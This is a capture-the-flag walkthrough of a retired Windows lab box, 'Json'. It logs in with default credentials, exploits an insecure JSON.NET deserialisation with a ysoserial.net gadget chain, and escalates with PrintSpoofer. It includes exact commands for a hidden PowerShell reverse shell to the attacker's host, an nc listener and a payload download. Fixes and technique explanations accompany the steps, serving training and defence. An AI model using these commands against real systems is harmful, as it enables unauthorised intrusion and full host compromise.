Json
Summary
The json Windows target ($TARGET) runs an IIS 8.5 / ASP.NET single-page application whose bundled JavaScript disclosed the authentication API endpoint and required field names. The server accepted the trivially guessed default credential pair admin:admin, issuing a home-rolled OAuth2 session cookie.
An authenticated endpoint deserialised my own JSON using JSON.NET with permissive TypeNameHandling settings, allowing a ysoserial.net gadget chain to execute arbitrary commands as the IIS application-pool identity json\userpool — foothold established and user flag captured. That service account held SeImpersonatePrivilege, a Windows token-impersonation right that PrintSpoofer abused to coerce the Print Spooler into yielding a SYSTEM-level token; enumeration revealed the root flag on a non-standard administrator account named superadmin, confirming total host compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Some commands also carry a value in angle brackets — <base64_reverse_shell> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 1
Full port scan with default scripts and version detection against the target.
$ nmap -sV -sC -p- --min-rate 5000 -oN json.nmap $TARGETExact commands 2
Retrieve the landing page and note linked script paths.
$ curl -sS http://$TARGET/ -o index.htmlDownload and rough-split the bundle; grep for endpoint and field name references.
$ curl -sS -o app.min.js http://$TARGET/js/app.min.js && cat app.min.js | tr ';{}' '\n' | grep -iE 'api|token|account|user|pass' | head -50Exact commands 2
Submit default credentials; HTTP 202 + OAuth2 cookie in the response confirms success.
$ curl -sS -i -c cookies.txt -H 'Content-Type: application/json' -X POST http://$TARGET/api/token -d '{"UserName":"admin","Password":"admin"}'Decode the cookie to confirm Id, UserName, and MD5 Password fields — verifies no signature or integrity check protects the token.
$ python3 -c "import base64,sys; v=sys.argv[1]; print(base64.b64decode(v + '==').decode())" '<OAuth2_cookie_value>'FixReplace default credentials and enforce login rate limiting on the authentication APICritical
Exact commands 4
Confirm authenticated access to the endpoint; a 200 response verifies the surface is reachable.
$ curl -sS http://$TARGET/api/Account -b cookies.txtGenerate gadget chain targeting JSON.NET. Replace <base64_reverse_shell> with the base64 encoding of: IEX(New-Object Net.Sockets.TCPClient('$ATTACKER_IP',4444))...
$ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -nop -w hidden -e <base64_reverse_shell>" -o raw > payload.jsonStart the listener on my host before sending the payload.
$ nc -lvnp 4444Deliver the gadget chain; deserialisation executes the embedded PowerShell as json\userpool.
$ curl -sS -X POST http://$TARGET/api/Account -b cookies.txt -H 'Content-Type: application/json' -d @payload.jsonFixSet JSON.NET TypeNameHandling to None and whitelist permitted types on all deserialisation call sitesCritical
Exact commands 2
Verify shell identity and machine name from within the reverse-shell session.
$ whoami; hostname
json\userpoolLocate and read the user flag recursively; prints full path followed by flag content (<user.txt>).
$ Get-ChildItem -Path C:\Users -Filter user.txt -Recurse -Force | ForEach-Object { $_.FullName; Get-Content $_.FullName }Exact commands 4
Confirm SeImpersonatePrivilege is present and Enabled before proceeding.
$ whoami /allServe PrintSpoofer64.exe from my host (run in background).
$ python3 -m http.server 9000Transfer PrintSpoofer to the target; replace $ATTACKER_IP with your listener IP.
$ Invoke-WebRequest -Uri http://$ATTACKER_IP:9000/PrintSpoofer64.exe -OutFile C:\Windows\Temp\PrintSpoofer64.exeVerify SYSTEM-level execution before reading the root flag; output should be nt authority\system.
$ C:\Windows\Temp\PrintSpoofer64.exe -i -c "cmd /c whoami"
nt authority\systemFixRemove SeImpersonatePrivilege from the IIS application-pool account and disable the Print Spooler on non-print serversHigh
Exact commands 2
Enumerate user profile directories as SYSTEM to locate the non-standard admin account.
$ C:\Windows\Temp\PrintSpoofer64.exe -i -c "cmd /c dir /a C:\Users"Read the root flag from the superadmin desktop as SYSTEM (<root.txt>).
$ C:\Windows\Temp\PrintSpoofer64.exe -i -c "cmd /c dir /a C:\Users\superadmin\Desktop && type C:\Users\superadmin\Desktop\root.txt"Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 21/tcp | ftp FileZilla ftpd 0.9.60 beta |
| 80/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 47001/tcp | unknown recon-sweep-discovered |
| 49152/tcp | unknown recon-sweep-discovered |
| 49153/tcp | unknown recon-sweep-discovered |
| 49154/tcp | unknown recon-sweep-discovered |
| 49155/tcp | unknown recon-sweep-discovered |
| 49156/tcp | unknown recon-sweep-discovered |
| 49157/tcp | unknown recon-sweep-discovered |
| 49158/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.